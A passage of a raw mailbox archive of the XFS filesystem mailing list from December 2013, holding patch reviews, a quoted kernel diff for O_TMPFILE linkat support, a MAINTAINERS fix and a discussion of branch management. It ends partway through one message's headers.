Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6FC617F52 for ; Fri, 13 Dec 2013 05:16:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 608A18F806F for ; Fri, 13 Dec 2013 03:15:58 -0800 (PST) X-ASG-Debug-ID: 1386933331-04cb6c537d708550001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id xzIycUG9b0iuKWlh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:15:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQiR-0007DV-BM; Fri, 13 Dec 2013 11:15:31 +0000 Date: Fri, 13 Dec 2013 03:15:31 -0800 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 0/8] xfs: Introduce a common helper to calculate the number of blocks per cluster Message-ID: <20131213111531.GC23546@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 0/8] xfs: Introduce a common helper to calculate the number of blocks per cluster References: <52A967C6.1050303@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A967C6.1050303@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386933331 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143063 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The whole series looks good to me, although I've just posted two very minor nitpicks. Reviewed-by: Christoph Hellwig From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:16:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E0B847F52 for ; Fri, 13 Dec 2013 05:16:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D13558F806F for ; Fri, 13 Dec 2013 03:16:47 -0800 (PST) X-ASG-Debug-ID: 1386933400-04cbb04166707a00001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 5IOZC83APhCpSimF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:16:41 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQjX-0007Ec-Dy; Fri, 13 Dec 2013 11:16:39 +0000 Date: Fri, 13 Dec 2013 03:16:39 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS / writeback invoking soft lockup. Message-ID: <20131213111639.GD23546@infradead.org> X-ASG-Orig-Subj: Re: XFS / writeback invoking soft lockup. References: <20131213071407.GA6527@redhat.com> <20131213104853.GS10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213104853.GS10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386933401 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143063 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 09:48:53PM +1100, Dave Chinner wrote: > All I can say is that there doesn't look to be any obvious signs > that this is a XFS or writeback problem fom the stack trace, and > without more information or a reproducable test case I'm not going > to be able to understand the cause. > > Is the problem reproducable, or is it just a one-off? If it's reproducable it would be good to enable the xfs_writepage tracepoint and get a trace-cmd log of it. From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:17:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 035B07F54 for ; Fri, 13 Dec 2013 05:17:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E98BC8F8068 for ; Fri, 13 Dec 2013 03:17:35 -0800 (PST) X-ASG-Debug-ID: 1386933423-04cb6c537d708650001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id uAKtHPH0j7GDiVTk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:17:03 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQju-0007F5-OS; Fri, 13 Dec 2013 11:17:02 +0000 Date: Fri, 13 Dec 2013 03:17:02 -0800 From: Christoph Hellwig To: Jeff Liu Cc: "xfs@oss.sgi.com" , Eric Whitney , linux-ext4@vger.kernel.org Subject: Re: [PATCH] xfstests: set umask to avoid spurious generic/314 test failures Message-ID: <20131213111702.GE23546@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfstests: set umask to avoid spurious generic/314 test failures References: <20130921211735.GC7855@wallace> <52AA87B6.6010607@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52AA87B6.6010607@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386933423 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143064 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words Looks good to me too, Reviewed-by: Christoph Hellwig From BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 13 05:20:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CD0A029DF8 for ; Fri, 13 Dec 2013 05:20:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BD4F7304059 for ; Fri, 13 Dec 2013 03:20:08 -0800 (PST) X-ASG-Debug-ID: 1386933599-04cb6c537e7087c0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id V9kBGfNO4dDJsowX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:20:00 -0800 (PST) X-Barracuda-Envelope-From: BATV+1e4e65daf7c83226d6b1+3764+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrQml-0007H6-Oc; Fri, 13 Dec 2013 11:19:59 +0000 Date: Fri, 13 Dec 2013 03:19:59 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [RFC] Handling of reviewed patch series Message-ID: <20131213111959.GF23546@infradead.org> X-ASG-Orig-Subj: Re: [RFC] Handling of reviewed patch series References: <20131213053611.GQ10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213053611.GQ10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386933600 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143064 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- I'm a big fan of the for-next vs for-linux split for next release work vs bugfixes which we've not applied yet. The whole topic branches scheme makes sense for large changes like the crc work, but seems utterly confusing if applied to every little change, as now the amount of branches you can conflict againt multiplies. I'm defintively in favour of a model that has less active branches. From zwu.kernel@gmail.com Fri Dec 13 05:35:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4A7557F6B for ; Fri, 13 Dec 2013 05:35:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3A4498F8040 for ; Fri, 13 Dec 2013 03:35:13 -0800 (PST) X-ASG-Debug-ID: 1386934484-04cb6c537d708de0001-NocioJ Received: from mail-oa0-f47.google.com (mail-oa0-f47.google.com [209.85.219.47]) by cuda.sgi.com with ESMTP id uQQku2EHh6wHUm47 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 13 Dec 2013 03:34:47 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.47 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.47] Received: by mail-oa0-f47.google.com with SMTP id k1so1908983oag.6 for ; Fri, 13 Dec 2013 03:34:43 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.47] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.47] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Q7qfjm/iMcL/rDKPMalpQoi7p0ESu0RXZ/Yfd9adLQI=; b=zF5j5Bxn+Qpr1ExelkL6KUGXrtP9mznE2RIb574uyOV6fphU29xsWy1ugr84K2WC19 4J0IgktNWvmBkj0QsnM4t2ge1CcpIegPWSEtoz5Nrt0uqQX0YTNPOK8aPvFbcq+BLdjb 7F+GpIsy6zqqX5uts58Nh+ngKROfYSpQjo1qgHaTXqU+YrMoqlGMFSqZCMpNaYSQOla9 iaJhnB13podzZ9U0t7aSfLmPelMFFJmO8/gbZdm7YYarQox6nytplFdYlNqiApTNfN6V r5eShy4v6SmdrM7vLKkOLMvSaJapOltxxPtXrTyIBQRLG0E8NVQB8hKyJcXvHnbJfhC2 uahA== MIME-Version: 1.0 X-Received: by 10.60.37.33 with SMTP id v1mr1392324oej.2.1386934483787; Fri, 13 Dec 2013 03:34:43 -0800 (PST) Received: by 10.182.248.201 with HTTP; Fri, 13 Dec 2013 03:34:43 -0800 (PST) In-Reply-To: <20131125214611.GI8803@dastard> References: <1385379154-3802-1-git-send-email-zwu.kernel@gmail.com> <1385379154-3802-5-git-send-email-zwu.kernel@gmail.com> <20131125214611.GI8803@dastard> Date: Fri, 13 Dec 2013 19:34:43 +0800 Message-ID: Subject: Re: [RFC PATCH 4/4] xfs: allow linkat() on O_TMPFILE files From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [RFC PATCH 4/4] xfs: allow linkat() on O_TMPFILE files To: Dave Chinner Cc: xfstests , Zhi Yong Wu Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-oa0-f47.google.com[209.85.219.47] X-Barracuda-Start-Time: 1386934487 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143064 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Nov 26, 2013 at 5:46 AM, Dave Chinner wrote: > On Mon, Nov 25, 2013 at 07:32:34PM +0800, Zhi Yong Wu wrote: >> From: Zhi Yong Wu >> >> Enable O_TMPFILE support in linkat(). >> >> http://oss.sgi.com/archives/xfs/2013-08/msg00341.html >> >> Signed-off-by: Zhi Yong Wu >> --- >> fs/xfs/xfs_inode.c | 23 +++++++++++++++++++++-- >> fs/xfs/xfs_trans_resv.c | 13 +++++++++++++ >> fs/xfs/xfs_trans_resv.h | 2 ++ >> 3 files changed, 36 insertions(+), 2 deletions(-) >> >> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c >> index e1832de..7ab029b 100644 >> --- a/fs/xfs/xfs_inode.c >> +++ b/fs/xfs/xfs_inode.c >> @@ -62,6 +62,8 @@ kmem_zone_t *xfs_inode_zone; >> >> STATIC int xfs_iflush_int(xfs_inode_t *, xfs_buf_t *); >> >> +STATIC int xfs_iunlink_remove(xfs_trans_t *, xfs_inode_t *); >> + >> /* >> * helper function to extract extent size hint from inode >> */ >> @@ -1119,7 +1121,9 @@ xfs_bumplink( >> { >> xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); >> >> - ASSERT(ip->i_d.di_nlink > 0); >> + if ((VFS_I(ip)->i_nlink == 0) && >> + !(VFS_I(ip)->i_state & I_LINKABLE)) >> + ASSERT(ip->i_d.di_nlink > 0); >> ip->i_d.di_nlink++; >> inc_nlink(VFS_I(ip)); >> if ((ip->i_d.di_version == 1) && >> @@ -1473,6 +1477,7 @@ xfs_link( >> { >> xfs_mount_t *mp = tdp->i_mount; >> xfs_trans_t *tp; >> + struct xfs_trans_res *tres; >> int error; >> xfs_bmap_free_t free_list; >> xfs_fsblock_t first_block; >> @@ -1498,7 +1503,14 @@ xfs_link( >> tp = xfs_trans_alloc(mp, XFS_TRANS_LINK); >> cancel_flags = XFS_TRANS_RELEASE_LOG_RES; >> resblks = XFS_LINK_SPACE_RES(mp, target_name->len); >> - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_link, resblks, 0); >> + >> + if ((VFS_I(sip)->i_nlink == 0) && >> + (VFS_I(sip)->i_state & I_LINKABLE)) >> + tres = &M_RES(mp)->tr_link_tmpfile; >> + else >> + tres = &M_RES(mp)->tr_link; >> + >> + error = xfs_trans_reserve(tp, tres, resblks, 0); > > Uggh. For the small amount of extra space needed for the unlinked > list reservation, I would simply add it to the tr_link reservation > and be done with it. That gets rid of the need for the noise here. > > > As per above, fold this into xfs_calc_link_reservation() by adding a: > > > + xfs_calc_iunlink_remove_resv(mp); This way seems to not work... In xfs_calc_link_reservation(), How to determine if it is for one regular file or O_TMPFILE file? since this functions is only passed in mp? > > to the end of it. Then you can also modify > xfs_calc_ifree_reservation() to use the same > xfs_calc_iunlink_remove_resv() function as well. > > [ And similarly, looking back on the previous patch > xfs_calc_iunlink_add_resv can be used in xfs_calc_remove_reservation > so all the unlinked list manipulations are covered by the same > reservation calculations. ] > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Regards, Zhi Yong Wu From david@fromorbit.com Fri Dec 13 05:47:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E07777F52 for ; Fri, 13 Dec 2013 05:47:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CCD7E8F8052 for ; Fri, 13 Dec 2013 03:47:38 -0800 (PST) X-ASG-Debug-ID: 1386935245-04cbb041687088f0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 7cg6JBH5yCwG6F8o for ; Fri, 13 Dec 2013 03:47:28 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ah8HAMHyqlJ5LHyk/2dsb2JhbABZgwq0GoVPgSEXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gDynwXFo5/B4Q2BJgVkhWDPig Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Dec 2013 22:17:25 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrRDH-0004TT-CU; Fri, 13 Dec 2013 22:47:23 +1100 Date: Fri, 13 Dec 2013 22:47:23 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [RFC] Handling of reviewed patch series Message-ID: <20131213114723.GM31386@dastard> X-ASG-Orig-Subj: Re: [RFC] Handling of reviewed patch series References: <20131213053611.GQ10988@dastard> <20131213111959.GF23546@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213111959.GF23546@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386935247 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143064 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 03:19:59AM -0800, Christoph Hellwig wrote: > > I'm a big fan of the for-next vs for-linux split for next release work > vs bugfixes which we've not applied yet. The whole topic branches > scheme makes sense for large changes like the crc work, but seems > utterly confusing if applied to every little change, as now the amount > of branches you can conflict againt multiplies. I'm defintively in > favour of a model that has less active branches. I certainly wouldn't want to create topic branches for every standalone patch - that doesn't make any sense from a management overhead point of view. I'd keep a "miscellaneous" topic branch specifically for aggregating standalone and small fixes, and that keeps the number of topic branches under control. The way I see it from a developer POV is that after the topic branch is created you can check that it matches your local changes, then just ignore it. You continue to work from the for-next branch (which now includes your work from the topic branch), or continue to target the unchanging master branch or the for-next merge target branch, which would be the same as what you work from now. In the case that you have work that is dependent on a specific topic branch, we can add the work to the end of that topic branch rather than create a new one. Or if you have dependencies across everything, then you develop against for-next and we simply make that the last topic branch to be merged into for-next. i.e. as a developer, you really don't need to care that much about individual topic branches and how they are managed.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From zwu.kernel@gmail.com Fri Dec 13 05:50:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C11947F6D for ; Fri, 13 Dec 2013 05:50:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B2261304059 for ; Fri, 13 Dec 2013 03:50:16 -0800 (PST) X-ASG-Debug-ID: 1386935404-04cb6c537d7094e0001-NocioJ Received: from e7.ny.us.ibm.com (e7.ny.us.ibm.com [32.97.182.137]) by cuda.sgi.com with ESMTP id 03C4MYpboiMxFYmH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:50:05 -0800 (PST) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 32.97.182.137 Received: from /spool/local by e7.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Fri, 13 Dec 2013 06:50:03 -0500 Received: from d01dlp01.pok.ibm.com (9.56.250.166) by e7.ny.us.ibm.com (192.168.1.107) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Fri, 13 Dec 2013 06:50:03 -0500 Received: from b01cxnp23034.gho.pok.ibm.com (b01cxnp23034.gho.pok.ibm.com [9.57.198.29]) by d01dlp01.pok.ibm.com (Postfix) with ESMTP id 6BF1938C8027 for ; Fri, 13 Dec 2013 06:50:00 -0500 (EST) Received: from d01av03.pok.ibm.com (d01av03.pok.ibm.com [9.56.224.217]) by b01cxnp23034.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBDBo2Q84784536 for ; Fri, 13 Dec 2013 11:50:02 GMT Received: from d01av03.pok.ibm.com (localhost [127.0.0.1]) by d01av03.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBDBo1Dh008584 for ; Fri, 13 Dec 2013 06:50:01 -0500 Received: from us.ibm.com ([9.115.122.226]) by d01av03.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with SMTP id rBDBnw0w008421; Fri, 13 Dec 2013 06:49:59 -0500 Received: by us.ibm.com (sSMTP sendmail emulation); Fri, 13 Dec 2013 19:49:54 +0800 From: Zhi Yong Wu To: xfs@oss.sgi.com Cc: Zhi Yong Wu Subject: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file Date: Fri, 13 Dec 2013 19:49:53 +0800 X-ASG-Orig-Subj: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file Message-Id: <1386935393-23559-1-git-send-email-zwu.kernel@gmail.com> X-Mailer: git-send-email 1.7.6.5 X-TM-AS-MML: disable X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13121311-5806-0000-0000-000023AA15A2 X-Barracuda-Connect: e7.ny.us.ibm.com[32.97.182.137] X-Barracuda-Start-Time: 1386935404 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143064 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Zhi Yong Wu Signed-off-by: Zhi Yong Wu --- MAINTAINERS | 1 - 1 files changed, 0 insertions(+), 1 deletions(-) diff --git a/MAINTAINERS b/MAINTAINERS index 00b655f..50b8a85 100644 --- a/MAINTAINERS +++ b/MAINTAINERS @@ -9542,7 +9542,6 @@ XFS FILESYSTEM P: Silicon Graphics Inc M: Dave Chinner M: Ben Myers -M: xfs@oss.sgi.com L: xfs@oss.sgi.com W: http://oss.sgi.com/projects/xfs T: git git://oss.sgi.com/xfs/xfs.git -- 1.7.6.5 From jeff.liu@oracle.com Fri Dec 13 05:53:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0486329DF8 for ; Fri, 13 Dec 2013 05:53:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E6A848F804C for ; Fri, 13 Dec 2013 03:52:51 -0800 (PST) X-ASG-Debug-ID: 1386935560-04cb6c537d7095e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 0lVPaT3x64xhyDyp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 13 Dec 2013 03:52:40 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBDBqFtJ030242 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Dec 2013 11:52:15 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBDBqEAA016754 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Dec 2013 11:52:14 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBDBqEbR028507; Fri, 13 Dec 2013 11:52:14 GMT Received: from [192.168.1.105] (/114.248.199.38) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 13 Dec 2013 03:52:13 -0800 Message-ID: <52AAF4E9.60408@oracle.com> Date: Fri, 13 Dec 2013 19:52:09 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Christoph Hellwig CC: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 6/8] xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init References: <52A96809.9020702@oracle.com> <20131213111437.GA23546@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 6/8] xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init In-Reply-To: <20131213111437.GA23546@infradead.org> Content-Type: 